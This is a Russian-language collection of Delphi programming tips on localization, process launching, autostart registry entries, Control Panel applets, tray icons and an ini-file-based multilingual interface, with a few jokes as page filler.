В Delphi3. Вот, случайно набрели в хэлпе. Если нужно изменить ресурсы какого-либо модуля, то это можно делать с помощью нехитрой операции:
Вынимаете ресурсы из этого модуля. Переводите их на другой язык. (например русский) Создаете в Delphi свой проект Dll-ки (с именем того модуля, из которого вы вынули ресурсы, например vcl30), в который включаете _переведенные_ ресурсы: {$R vcl30rus.res} Собираете все это. Переименовываете полученную vcl30.Dll в vcl30.rus и кидаете ее в System.Если вы хотите, приложение "говорило" по русски только тогда, когда в региональных установках стоит Russia - то тогда это все. Если же вы хотите, чтобы ваше приложение _всегда_ поднимало русские ресурсы, то необходимо сделать следующее добавление в Registry: HKEY_CURRENT_USER\SOFTWARE\Borland\Delphi\Locales "X:\MyProject\MyApp.exe" = "rus".
Теперь, когда ваше приложение будет поднимать pakages, то всегда будут браться русские ресурсы. Другие приложения, например Delphi - это не затронет. Таким образом можно заменять даже DFM-ки из проекта.
Более подробно об этом - см Help - Index - Localizing...
Как проводить локализацию своих приложений 2.
В Delphi 3 и 4 есть специальные механизмы, позволяющие приложение "переделать" на любой язык после компиляции. Для D3 надо посмотреть в хелпе, по-моему, internationalization или что-то в этом роде. Для D4 вообще все делается ОЧЕНЬ просто: берется проект, компилируется; тут-же, не закрывая проект, вызвается New|Resource DLL Wizard, в нем указывается, какие формы и модули должны подвергнуться переводу на другой язык; в результате работы Wizard появляется проект (sic!) с RC и DFM. Открываем формы, и переделываем все сообщения + размер (соотв. длине сообщений); Компилируем. В результате получается файл xxxxxxx.rus, где xxxxxxx - название исходного проекта; Запускаем xxxxxxx.exe. Видим некий не наш язык. Подкладываем в каталог с этим exe изготовленный файл xxxxxxx.rus, и запускаем exe повторно. Видим абсолютно ВЕЗДЕ переведенные сообщения.P.s. файл RUS можно подставлять и убирать по вкусу.
Как заставить приложение запускаться в минимизированном состоянии.
Объект Delphi Application создает скрытое "application window" (окно приложения), и именно ему, а не главному окну приложения посылается команда "показать минимизированным". Чтобы обойти эту проблему, поместите следующую строчку в обработчик события OnCreate вашей главной формы:
ShowWindow(Handle, cmdShow); |
Как заставить приложение запускаться в минимизированном состоянии 2.
| Объявление: Потомственный программист в седьмом байте избавит от System Polisy и Access Denied. Снимет пароль. Наворожит номера кредиток. Быстро, анонимно, с гарантией. |
// Проверьте глобальную переменную CmdShow для того чтобы определить, в каком
// состоянии запускается приложение, и модифицируйте ее как вам необходимо:
procedure TForm1.FormCreate(Sender: TObject);
begin
if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized;
end;
// Например, если необходимо запускать приложение либо минимизированным, либо
// максимизированным, используйте следующий код:
procedure TForm1.FormCreate(Sender: TObject);
begin
if CmdShow = SW_SHOWMINNOACTIVE then WindowState := wsMinimized
else WindowState := wsMaximized;
end;
|
Использовать параметры запуска программы.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Paramstr(1) is the first parameter
Paramstr(0) is the full program path
Paramstr(1) ist der erste ubergebene Parameter
Paramstr(0) Pfad der Anwendung
}
procedure TForm1.FormShow(Sender: TObject);
var
parameter: string;
begin
parameter := ParamStr(1);
if parameter = '/message' then
begin
ShowMessage('Parameter /message.');
end;
if parameter = '' then
begin
ShowMessage('No parameter.');
end;
end;
Как запустить приложение и подождать пока оно отработает.
Объявляем сначала две глобальные переменные:
var si: Tstartupinfo; p: Tprocessinformation; |
Затем по нужному событию, например, по нажатию на кнопке пишет такой код:
FillChar( Si, SizeOf( Si ) , 0 ); with Si do begin cb := SizeOf( Si); dwFlags := startf_UseShowWindow; wShowWindow := 4; end; Form1.WindowState:=wsminimized; Createprocess(nil, 'c:\windows\sndrec32.exe e:\temp.wav', nil, nil, false, Create_default_error_mode, nil, nil, si, p); Waitforsingleobject(p.hProcess, infinite); Form1.WindowState:=wsNormal; |
Как запустить приложение и подождать пока оно отработает 2.
procedure TForm1.Button3Click(Sender: TObject);
var
si: STARTUPINFO;
pi: PROCESS_INFORMATION;
cmdline: string;
begin
ZeroMemory(@si,sizeof(si));
si.cb:=SizeOf(si);
cmdline:='c:\command.com';
if not CreateProcess( nil, { No module name (use command line). }
PChar(cmdline), { Command line. }
nil, { Process handle not inheritable. }
nil, { Thread handle not inheritable. }
False, { Set handle inheritance to FALSE. }
0, { No creation flags. }
nil, { Use parent's environment block. }
nil, { Use parent's starting directory. }
si, { Pointer to STARTUPINFO structure. }
pi ) { Pointer to PROCESS_INFORMATION structure. }
then
begin
ShowMessage( 'CreateProcess failed.' );
Exit;
end;
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
ShowMessage('Done !');
end;
|
Как запустить приложение и подождать пока оно отработает 3.
Здесь представлена функция, которая вызывается таким же образом как и WinExec, однако она ждёт, пока запущенная задача завершится.
function WinExecAndWait(Path: PChar; Visibility: Word): Word;
var
InstanceID: THandle;
Msg: TMsg;
begin
InstanceID := WinExec(Path, Visibility);
if InstanceID < 32 then { значение меньше чем 32 указывает на ошибку }
WinExecAndWait := InstanceID
else
repeat
while PeekMessage(Msg, 0, 0, 0, pm_Remove) do
begin
if Msg.message = wm_Quit then
Halt(Msg.WParam);
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
until
GetModuleUsage(InstanceID) = 0;
WinExecAndWait := 0;
end;
|
Как запустить приложение и подождать пока оно отработает 4.
Как запустить из Вашей программы еще какую-нибудь программу и дождаться ее закрытия. Для удобства сразу оговорюсь: Ваша программа - это программа, код которой здесь приведен. Другая программа - программа, которая была запущена из Вашей. Для запуска другой программы мы будем использовать функцию CreateProcess, поскольку она возвращает handle созданного процесса. Для ожидания завершения процесса (программы) нужно вызвать Wai В этом примере функция ExecuteAndWait запускает другую программу (имя запускаемого файла - FileName). Если HideApplication установлен в true, то Ваша программа исчезает на время выполнения другой программы. В противном случае Ваша программа остается на экране и каждые 0.1 сек. будут выполняться все задачи, которые накопились в очереди (Application.ProcessMessages). А если пользователь решит закрыть Вашу программу - закроется и другая программа. Процедура SetEnabled.
function ExecuteAndWait(FileName: string; HideApplication: boolean): boolean;
var
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
exitc: cardinal;
begin
FillChar(StartupInfo, sizeof(StartupInfo), 0);
with StartupInfo do begin
cb := Sizeof(StartupInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_SHOW;
end;
if not CreateProcess(nil, PChar(FileName), nil, nil, false,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil,
StartupInfo, ProcessInfo) then result := false
else begin
if HideApplication then begin
Application.Minimize;
ShowWindow(Application.Handle, SW_HIDE);
WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
end else
while WaitforSingleObject(ProcessInfo.hProcess, 100) =
WAIT_TIMEOUT do begin
Application.ProcessMessages;
if Application.Terminated
then TerminateProcess(ProcessInfo.hProcess, 0);
end;
GetExitCodeProcess(ProcessInfo.hProcess, exitc);
result := (exitc = 0);
if HideApplication then begin
ShowWindow(Application.Handle, SW_SHOW);
Application.Restore;
Application.BringToFront;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
procedure SetEnabled(en: boolean);
var
i: integer;
begin
for i := 0 to Form1.ComponentCount - 1 do
if Form1.Components[i] is TControl then
(Form1.Components[i] as TControl).Enabled := en;
end;
begin
SetEnabled(false);
if not ExecuteAndWait(Edit1.Text, CheckBox1.Checked)
then ShowMessage('Возникли какие-то проблемы');
SetEnabled(true);
end;
|
Как запустить приложение и подождать пока оно отработает 5.
Автор: RoborЗапускаю с помощью CreateProcess процесс архивирования, как узнать, что он завершился, чтобы перекопировать файл на дискету?
Unit exec;
interface
Uses Windows, SysUtils, Forms, ShellAPI;
function ExecWin(Path,name,CommandLine,CurrentDir:string;Wait:boolean) : word;
implementation
function ExecWin(Path,name,CommandLine,CurrentDir:string;Wait:boolean) : word;
var
tsi : TStartupInfo;
tpi : TProcessInformation;
tPath,Command : PChar;
CurDir :Pchar;
// st1 :string;
// T1,T2,T3,T4 :TFileTime;
// rr :boolean;
cod :DWord;
// ErrorMessage: Pointer;
// ErrorCode: DWORD; // holds a system error code
begin
Result := 30;
Path:=path+name+' '+CommandLine+#00;
CommandLine:=CommandLine+#0;
tPath := StrAlloc(512);
Command := StrAlloc(512);
CurDir :=StrAlloc(512);
FillChar(tsi, SizeOf(TStartupInfo), 0);
tsi.cb := SizeOf(TStartupInfo);
tsi.dwFlags := STARTF_USESHOWWINDOW;
tsi.wShowWindow := SW_SHOWMINNOACTIVE;
// FindExecutable(@Path[1],nil,tPath);
// st1:=string(tPath)+#0;
// st1:=AnsiUpperCase(st1);
// Path:=AnsiUpperCase(Path);
// if st1< > Path then st1:=Concat(st1,' ',path,#0);
// Move(st1[1],tPath[0],Length(st1));
// Move(CommandLine[1],Command[0],length(CommandLine));
Move(Path[1],tPath[0],Length(Path));
CurrentDir:=CurrentDir+#0;
Move(CurrentDir[1],CurDir[0],length(CurrentDir));
try
if CreateProcess(nil,@tPath[0]{, @Command[0]},nil, nil, False,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS,nil, @CurDir[0], tsi, tpi)
then begin
cod:=WAIT_TIMEOUT;
while (cod=WAIT_TIMEOUT) and Wait do begin
cod:=WaitForSingleObject(tpi.hProcess, 500);
Application.ProcessMessages;
end;
result:=0;
{ rr:=GetProcessTimes(tpi.hProcess,t1,t2,t3,t4);
while (t2.dwLowDateTime=0) and (t2.dwHighDateTime=0) and rr do begin
Application.ProcessMessages;
rr:=GetProcessTimes(tpi.hProcess,t1,t2,t3,t4);
end;}
CloseHandle(tpi.hProcess);
CloseHandle(tpi.hThread);
end
else result:=GetLastError;
finally
{ ErrorCode := GetLastError;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER or FORMAT_MESSAGE_FROM_SYSTEM,
nil, ErrorCode, 0, @ErrorMessage, 0, nil);
LocalFree(hlocal(ErrorMessage));}
StrDispose(Command);
StrDispose(tPath);
StrDispose(CurDir);
end;
end;
end.
|
Как запустить приложение и подождать пока оно отработает 6.
procedure Start;
var
si: TStartupInfo;
p: TProcessInformation;
begin
FillChar(Si,SizeOf(Si),0);
with Si do begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
Form1.WindowState:=wsMinimized;
Createprocess(nil,'c:\windows\sndrec32.exe e:/temp.wav',nil,nil,false,
Create_default_error_mode,nil,nil,si);
Waitforsingleobject(p.hProcess,infinite);
Form1.WindowState:=wsNormal;
end;
|
Определение нажатия определенной клавиши во время загрузки приложения.
| Билл Гейтс собирает правление Майкрософт. - в прошлом году мы продали 1 миллион копий Виндоус... - хакеры сломали. - в этом году мы продали 2 миллиона копий. - хакеры сломали. - в следующем году мы продадим 5 миллионов копий... - и пусть у этих хакеров клавиатура треснет! |
program Project1;
uses
Windows,
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
begin
if GetKeyState(vk_F8) < 1 then
MessageBox(0, 'F8 was pressed during startup', 'MyApp', mb_ok);
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
|
Лимит на время выполнения программы.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
In der Projekt Datei (.dpr):
In your project's file (.dpr):
}
uses
Forms, Sysutils, Dialogs,
MyProgr in my_prog1.pas {Form1};
const
email = 'my.mail@provider.xyz';
homepage = 'http://www.myhomepage.com';
// Limit the execution time to 04/21/2003.
// Gultigkeit auf 21. April 2003 begrenzen.
YearExp = 2003;
MonthExp = 4;
DayExp = 21;
function CheckDate(y, m, d: Integer): Boolean;
begin
Result := True;
if (Date > EncodeDate(y, m, d)) then
begin
ShowMessage('End of usage exceeded. Download a new'+
'version at' + ^j + homepage+ ^j + ' or contact: ' + email);
Result := False;
// halt;
end;
end;
{$R *.RES}
begin
if CheckDate(YearExp, MonthExp, DayExp) then
begin
Application.Initialize;
Application.Title := 'Some Title';
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
end.
Как поместить программу в автозапуск.
Это можно сделать несколькими способами, но наиболее оптимальный - занесение файла в автозапуск реестра, который находится по следующему адресу:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run |
uses Registry;
procedure TForm1.FormCreate(Sender: TObject);
var
// Переменная реестра
h: TRegistry;
begin
h := TRegistry.Create;
with h do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
WriteString('DelphiWorldApp', 'C:\Application.exe');
CloseKey;
Free;
end;
end;
|
Как поместить приложение Delphi в Панель Управления.
Для использования апплета измените его расширение с "dll" на "cpl" и поместите в системную директорию.
library Project1; {Измените "program" на "library"}
uses
Cpl, {используем модуль Cpl}
Windows,
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
procedure ExecuteApp;
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end;
{Са11ьаск-функция для экспорта в Панель Управления}
function CPlApplet(hwndCPl: THandle; uMsg: DWORD;
lParam1, lParam2: LongInt): LongInt; stdcall;
var
NewCplInfo: PNewCplInfo;
begin
Result := 0;
case uMsg of
{Инициализация должна возвращать True.}
CPL_INIT:
Result := 1;
{Число апплетов}
CPL_GETCOUNT:
Result := 1;
{Помещаем информацию об этом апплете в Панель управления.}
CPL_NEWINQUIRE:
begin
NewCplInfo := PNewCplInfo(lParam2);
with NewCplInfo^ do
begin
dwSize := SizeOf(TNewCplInfo);
dwFlags := 0;
dwHelpContext := 0;
lData := 0;
{Иконка для отображения на Панели Управления.}
hIcon := LoadIcon(HInstance, 'MAINICON');
{Имя апплета}
szName := 'Project1';
{Описание этого апплета.}
szInfo := 'Это тестовый апплет.';
szHelpFile := '';
end;
end;
{Выполнение апплета.}
CPL_DBLCLK:
ExecuteApp;
else
Result := 0;
end;
end;
{Экспортирование функции CplApplet}
exports
CPlApplet;
begin
end.
|
Приложение с иконкой в Tray.
APPCOMP_DPR.HTM.
program AppComp;
uses
Forms,
AppCForm in 'AppCForm.pas' {Form1};
{$R *.RES}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.Run;
end.
|
APPCFORM_DFM.HTM.
object Form1: TForm1
Left = 195
Top = 107
Width = 439
Height = 273
Caption = 'Application Component Demo'
Font.Charset = ANSI_CHARSET
Font.Color = clWindowText
Font.Height = -24
Font.Name = 'Arial'
Font.Style = []
ShowHint = True
PixelsPerInch = 96
TextHeight = 27
object Bevel1: TBevel
Left = 8
Top = 72
Width = 193
Height = 161
end
object Label1: TLabel
Left = 24
Top = 24
Width = 72
Height = 27
Hint = 'Label1 Component'
Caption = 'Label1'
end
object Label2: TLabel
Left = 24
Top = 160
Width = 65
Height = 18
Caption = 'Tray Hint:'
Font.Charset = ANSI_CHARSET
Font.Color = clWindowText
Font.Height = -16
Font.Name = 'Arial'
Font.Style = []
ParentFont = False
end
object cbTray: TCheckBox
Left = 24
Top = 96
Width = 145
Height = 33
Caption = 'Tray Icon'
State = cbChecked
TabOrder = 0
OnClick = cbTrayClick
end
object Edit1: TEdit
Left = 24
Top = 182
Width = 153
Height = 35
MaxLength = 63
TabOrder = 1
Text = 'Tip'
OnChange = Edit1Change
end
object DdhAppExt1: TDdhAppExt
HintColor = clAqua
ShowHint = True
TrayIconActive = True
TrayIcon.Data = {
0000010001002020100000000000E80200001600000028000000200000004000
0000010004000000000080020000000000000000000000000000000000000000
000000008000008000000080800080000000800080008080000080808000C0C0
C0000000FF0000FF000000FFFF00FF000000FF00FF00FFFF0000FFFFFF000000
0000000000000000000000000000000000000000007777770000000000000000
0000000000000007000000000000000000000000000000070000000000000000
0000000000777007000000000000000000077070007770070000700000000000
0077000700787000000007000000000007708000077877000070007000000000
07088807777777770777000700000000008F88877FFFFF077887700700000000
00088888F88888FF08870070000000000000880888877778F070007000000007
77088888880007778F770077777000700008F088007777077F07000000700700
008F08880800077778F7700000700708888F0880F08F807078F7777700700708
F88F0780F070F07078F7887700700708888F0780F077807088F7777700700700
008F0788FF00080888F77000007000000008F0780FFFF0088F77007000000000
0008F07788000888887700700000000000008F07788888880870007000000000
00088FF0077788088887000700000000008F888FF00000F87887700700000000
0708F8088FFFFF88078700700000000007708000088888000070070000000000
0077007000888007000070000000000000077700008F80070007000000000000
0000000000888007000000000000000000000000000000070000000000000000
000000000777777700000000000000000000000000000000000000000000FFFF
FFFFFFFC0FFFFFFC0FFFFFF80FFFFFF80FFFFE180E7FFC00043FF800001FF800
000FF800000FFC00001FFE00001FE0000001C000000180000001800000018000
00018000000180000001FC00001FFC00001FFE00001FFC00000FF800000FF800
001FF800003FFC180C7FFE380EFFFFF80FFFFFF80FFFFFF80FFFFFFFFFFF}
TrayHint = 'Here am I, guys!'
TrayPopup = PopupMenu1
OnTrayDefault = Message1Click
OnActivate = DdhAppExt1Activate
OnDeactivate = DdhAppExt1Deactivate
Left = 240
Top = 96
end
object PopupMenu1: TPopupMenu
Left = 248
Top = 152
object Message1: TMenuItem
Caption = 'Message'
Default = True
OnClick = Message1Click
end
object About1: TMenuItem
Caption = 'About...'
OnClick = About1Click
end
object N1: TMenuItem
Caption = '-'
end
object Close1: TMenuItem
Caption = 'Close'
OnClick = Close1Click
end
end
end
|
APPCFORM_PAS.HTM.
unit AppCForm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
DdhAppX, StdCtrls, Menus, ExtCtrls;
type
TForm1 = class(TForm)
DdhAppExt1: TDdhAppExt;
Label1: TLabel;
PopupMenu1: TPopupMenu;
Message1: TMenuItem;
About1: TMenuItem;
Close1: TMenuItem;
N1: TMenuItem;
cbTray: TCheckBox;
Edit1: TEdit;
Label2: TLabel;
Bevel1: TBevel;
procedure DdhAppExt1Activate(Sender: TObject);
procedure DdhAppExt1Deactivate(Sender: TObject);
procedure Message1Click(Sender: TObject);
procedure About1Click(Sender: TObject);
procedure Close1Click(Sender: TObject);
procedure cbTrayClick(Sender: TObject);
procedure Edit1Change(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.DdhAppExt1Activate(Sender: TObject);
begin
Label1.Caption := 'Active Application';
Label1.Font.Color := clGreen;
end;
procedure TForm1.DdhAppExt1Deactivate(Sender: TObject);
begin
Label1.Caption := 'Inactive Application';
Label1.Font.Color := clRed;
end;
procedure TForm1.Message1Click(Sender: TObject);
begin
ShowMessage ('Place your message here');
end;
procedure TForm1.About1Click(Sender: TObject);
begin
ShowMessage ('DdhAppExt component demo');
end;
procedure TForm1.Close1Click(Sender: TObject);
begin
Close;
end;
procedure TForm1.cbTrayClick(Sender: TObject);
begin
DdhAppExt1.TrayIconActive := cbTray.Checked;
end;
procedure TForm1.Edit1Change(Sender: TObject);
begin
DdhAppExt1.TrayHint := Edit1.Text;
end;
end.
|
Загрузить весь проект
Программа с многоязычным интерфейсом.
| На уроке классической литературы. Учительница: - Кто может привести пример языка, на котором никто сегодня не говорит, но который является фундаментом других языков? Вовочка: - НТМL. |
Автор благодарит читателя этих уроков, программиста Alexey Salo за идею, без которой написание данного материала было бы невозможным. Сразу отмечу, что урок получился не совсем для начинающих, количество написанного кода в примерах испугало даже меня, но тем не менее, попробуйте разобраться. Повсюду даны описание команд, некоторые мы рассматривали в предыдущих уроках. Возможно непонятные моменты рассмотрены более подробно.
Для начала немного теории
Ваша собственная программа может быть полезна не только вам, но и вашим друзьям, организации, где вы работаете. Если вы работаете не только на себя. Живя в нашем веке компьютерных технологий, информация может распространяться с довольно большой скоростью. Примером тому служат нашумевшие недавно волны интернет-вирусов, за считанные дни облетевшие по многим серверам мира. Так же дело и обстоит с полезными программами. Отличием полезной программы от вредоносной есть сам метод переноса от компьютера к компьютеру. По степени ее уникальности и полезности она может понравиться многим. Я не буду говорить о методах рекламы программных продуктов, они такие же самые, как и реклама обычных продуктов, будь то интернет-ресурс или обычных хозяйственный товар. Дело в том, что ваша программа, выпущенная в свободное распространение (выложенная на сайте, отправленная друзьям по почте и т.п.) абсолютно независимо от вашего желания может попасть любому человеку. Этот человек может быть другой национальности, абсолютно не понимающий русского языка.
Если ваша программа изначально рассчитана на свободное распространение, свободное распространение с ограниченными функциями для последующего приобретения, если ваша программа может оказаться полезной для многих (утилита, игра, экранная заставка), то надо стараться изначально ее оформлять с англоязычным интерфейсом. Все дело в том, что большинство пользователей компьютеров в полной мере или частично знакомы с английским языком. Следовательно, разобраться в такой вашей программе смогут больше человек в мире, чем, скажем в программе с белорусским языковым интерфейсом. Здесь имеется в виду ни что иное, как глобальное внедрение вашего приложения в масштабе целой планеты, а не касательно, скажем, ваших знакомых. Но делая программу, даже с языком, являющимся международным (даже с китайским языком :), трудно рассчитывать на популярность во многих странах.
Большую популярность получили программы с многоязычным интерфейсом. Я имею в виду, что описанные выше программы получают большую популярность, чем аналогичные с однотипным диалоговым языком. К примеру, это некоторые командные оболочки (FAR, Windows Commander), антивирус DrWeb, интернет броузер Opera. В таких программах нужный язык можно выбрать из списка в окнах настройки.
В большинстве случаев, весь языковой интерфейс хранится в отдельном файле. И это правильно. Не стоит загромождать исполняемый EXE файл излишком информации, а настройка и адаптация нового языка, первоначально не включенного в такой программный пакет, происходит быстро и без перекомпиляции всего проекта.
Какой же метод выбрать для хранения и последующего считывания данных из файла языков. В большей степени для этого подходит рассмотренные нами в 16 уроке ini файлы. Такие файлы легко переносятся на другой компьютер вместе с самой программой, возможно редактировать из любого текстового редактора, изменить текст может любой человек.
Различные секции в таком ini-файле будут хранить в себе отдельные языковые интерфейсы. Например, секция [RUSSIAN] будет озаглавливать русскоязычный внешний вид программы, [ENGLISH] - англоязычный, и т.д. Я думаю, что с этим проблем у пользователя не будет.
Названия хранимых параметров состоят из названия окна (формы), в котором находится компонент плюс название самого компонента. Параметр должен состоять из одного слова. Хранимая величина - текст, который отображается на экране на этом компоненте. Это может быть свойство Caption или свойство Text, в зависимости от типа (класс) компонента. Например, для компонента Button1, находящегося в окне Form1 записываемый параметр и значение выглядит:
Form1Button1=Кнопка1 |
В нашей программе при чтении такого параметра должна произойти замена:
Form1.Button1.Caption := 'Кнопка1'; |
Естественно, это делается автоматически для всех визуальных компонентов, на каких есть текст. Проблема может состоять в том, что таких компонентов на каждой форме может быть, скажем 200. Тогда это очень загромоздит программный код. При оперативном исправлении такой программы (добавление, удаление компонентов), необходимо будет исправлять и эту часть кода. Выходом из создавшейся проблемы может быть свойства для определенного окна ComponentCount и Components. Свойство Components позволяет через массив получить доступ к любому элементу управления формы. Свойтсво ComponentCount показывает, сколько этих элементов управления (компонентов) у нас присутствует в окне. Нам нужно будет просто организовать цикл от 1 до ComponentsCount и для каждого компонента прочитать соответствующее значение Caption или Text из INI файла.
Внутри такого цикла нужно определять тип компонента. Ведь для кнопки (Button, BitBtn, SpeedButton), метки (Label, StaticText), флажка (CheckBox, RadioButton) и пр. свойство Caption определяет текст, который будет виден на этом компоненте. Для Edit, Memo, ComboBox и пр. свойтсво Text. Следовательно, очень важно верно определить тип, выбранного из цикла компонента, чтобы в последствии правильно занести соответствующее значение в соответствующее свойство.
Следующим этапом, когда мы определили тип компонента, следует само чтение данных из ini-файла. Вот примерный кусок кода такой программы:
// если в окне есть хотя бы один элемент управления (компонент)
if ComponentCount<>0 then
// цикл от 1 до кол-ва компонентов
for i:=1 to ComponentCount do
// если текущий элемент является элементом класса TButton, то
if Components[i-1].ClassType = TButton then
(Components[i-1] as TButton).Caption:= ЧТЕНИЕ_ДАННЫХ_ИЗ_INI
|
Разъясню последнюю строчку из этого примера. Через.
(Components[i-1] as TButton) |
Мы получаем доступ к свойствам компонента, представляя его к классу TButton. Для этого в предпоследней строке примера мы и производим проверку класса выбранного циклом компонента. Если такую проверку не производить, то во время выполнения программы при обращении, скажем к компоненту класса TEdit к свойству Caption, появится сообщение об ошибке (У TEdit свойство Text!).
(i-1) как вы наверное уже догадались, список массива элементов управления формы начинается с нуля. А заканчивается ComponentCount-1.
Еще один нюанс. Если такой многоязычный ini-файл был потерян в процессе эксплуатации, то пользователя рискует остаться вообще без каких либо намеков в вашей программе. Поэтому рекомендую все-таки изначально давать текст вашим компонентам как в обычной программе. В случае невозможности чтения данных из INI файла текст на этих компонентах останется нетронутым.
Теперь я даю вам универсальный модуль, который должен присутствовать в каждом оконном модуле вашей программы, где необходимо менять язык по указанию пользователя. Я являюсь автором этого куска программы, поэтому, возможно, что-то можно и сократить, тем не менее...
В раздел Uses необходимо дописать модуль для работы с ini-файлами:
uses IniFiles; |
Раздел public дописываем одну строку объявления процедуры:
public
{ Public declarations }
procedure ChangeLang(LangSection: string);
|
Сама процедура пишется изначально вручную вместе с заголовком:
procedure TForm1.ChangeLang(LangSection: string);
var
// временная числовая переменная для выборки всех компонентов
i: Integer;
LangIniFile: TIniFile;
// строковая переменная для получения каталога, где находится запущенный EXE файл
ProgramPath: string;
begin
// если в окне больше одного компонента
if ComponentCount <> 0 then
begin
// получаем каталог, где лежит запущенный EXE файл
ProgramPath := ExtractFileDir(Application.ExeName);
// гарантированно устанавливаем последний символ '\' в конце строки
if ProgramPath[Length(ProgramPath)] <> '\' then
ProgramPath := ProgramPath + '\';
// подготавливаем INI файл. Он должен иметь название lang.ini
// и должен находиться в каталоге программы
LangIniFile:=TIniFile.Create(ProgramPath+'lang.ini');
// читаем заголовок окна
Caption:=LangIniFile.ReadString(LangSection,name,Caption);
// перебираем все компоненты в этом окне
for i:=1 to ComponentCount do
begin
// если выбран из массива компонент Button, то изменяем текст на кнопке
if Components[i-1].ClassType = TButton then
(Components[i-1] as TButton).Caption := LangIniFile.ReadString(LangSection,
name+Components[i-1].name, (Components[i-1] as TButton).Caption);
// Напомню описание функции ReadString:
// ====================================
// LangIniFile.ReadString( СЕКЦИЯ, ПАРАМЕТР, ЗНАЧЕНИЕ_ПО_УМОЛЧАНИЮ );
// 1. LangSection - передаваемый параметр в процедуру.
// В процедуру передается название секции для выбранного языка
// 2. Name+Components[i-1].Name - Name - название формы,
// Components[i-1].Name - название компонента
// 3. (Components[i-1] as TButton).Caption - в случае неудачного чтения этого
// параметра из ini файла (нет такого параметра), то ничего меняться не будет
// аналогично для других типов:
if Components[i-1].ClassType = TLabel then
(Components[i-1] as TLabel).Caption := LangIniFile.ReadString(LangSection,
name+Components[i-1].name, (Components[i-1] as TLabel).Caption);
if Components[i-1].ClassType = TEdit then
(Components[i-1] as TEdit).Text := LangIniFile.ReadString(LangSection,
name+Components[i-1].name, (Components[i-1] as TEdit).Text);
// ...
// ...
// ...
end;
LangIniFile.Free; // освобождаем ресурс
end;
end;
|
Обратите внимание, в программе два окна. В каждом модуле для каждого отдельного окна присутствует эта вышеописанная процедура.
Вместо строк // ... вы можете добавлять другие типы компонентов, например, можете описать тип компонента TCheckBox, если таковой имеет место в вашей программе. В идеале описывайте по шаблону все или большинство типов компонентов, имеющиеся в наличие в delphi. Для этого вам понадобится несколько десятков строк программного кода, но зато вы гарантированно можете применять эту процедуру не только в одной вашей программе, не проверяя наличие всех используемых типов компонентов.
Напомню, аналогичную вышеприведенную процедуру, без изменений, вы должны вписать в каждый модуль вашей программы. При смене языка, например, в программе с тремя окнами (Form1, Form2, Form3) происходит следующим куском программного кода:
Form1.ChangeLang('RUSSIAN');
Form2.ChangeLang('RUSSIAN');
Form3.ChangeLang('RUSSIAN');
|
Поскольку процедуру смена языка мы объявляем в разделе public, то доступ к этой процедуре мы можем получить из любого места программы. Как вы заметили из примера, для переключения на русский язык указана имя секции RUSSIAN.
Теперь рассмотрим содержание самого INI файла. Его вы должны создавать самостоятельно. Во-первых, нужно помнить правила орфографии windows ini-файла, во-вторых, названия параметров должны соответствовать имени формы плюс названия компонента, хранимое значение следует за знаком равенства. Для примера, ini-файл с двумя языками, с двумя окнами, на каждом окне находится по две кнопки.
; начало файла lang.ini [RUSSIAN] Form1Button1=Кнопка 1 на форме 1 Form1Button2=Кнопка 2 на форме 1 Form2Button1=Кнопка 1 на форме 2 Form2Button2=Кнопка 2 на форме 2 [ENGLISH] Form1Button1=Button 1 on form 1 Form1Button2=Button 2 on form 1 Form2Button1=Button 1 on form 2 Form2Button2=Button 2 on form 2 ; конец файла lang.ini |
Кроме текста на визуальных элементах управления вашей программы, текст содержится еще в заголовке программы, в панели задач. Еще могут присутствовать всплывающие подсказки Hint. Полномасштабный перевод всех компонентов на несколько языков в ini файле может несколько затруднить сам процесс программирования. Но ради гибкости настройки интерфейса программы пожертвовуйте лишним временем. Ведь для изменения текста, добавления нового языка (возможно даже это делаете не вы) не нужно перекомпилировать проект. Это максимально упрощает языковую настройку. Можете вообще сделать ini-файл одноязычным. Перевести его можете после окончания проектирования, или вообще предоставьте это профессиональному переводчику.
Одним из слабых мест в такой программе есть необходимость помещать процедуру смены языка в каждый модуль. Если у вас в программе множество окон, это довольно сильно загромождает программный код, следовательно, увеличивает размер программы, следовательно, замедляет ее работу. Как же сделать так, чтобы весь процесс смены языка во всем приложении умещался с одной процедуре. Очень просто. А может и не просто. А в общем, через компонент Application. Он является по своей сути самой программой, значит, содержит в себе все компоненты форм (уже упоминалось в первых уроках, что сама форма и есть компонент). Таким образом:
// если в приложении есть компоненты форм (не консольное приложение)
if Application.ComponentCount <> 0 then
// перебираем все компоненты
for i := 1 to Application.ComponentCount do
// если выбранный компонент является подклассом окна, то
if Application.Components[i-1].ClassParent = TForm then
begin
// обработка переключения языка для этого окна
end;
|
Очень похоже на предыдущий пример...
Извините, что на первый взгляд эта тема урока кажется, немного сложноватой для начинающего, но тут важно разобраться в общих принципах, в нескольких свойствах, внимательно перечитать весь урок снова и все может стать понятным. Обязательно рассмотрите прилагаемый первый пример, прежде чем продолжать рассматривать этот урок далее.
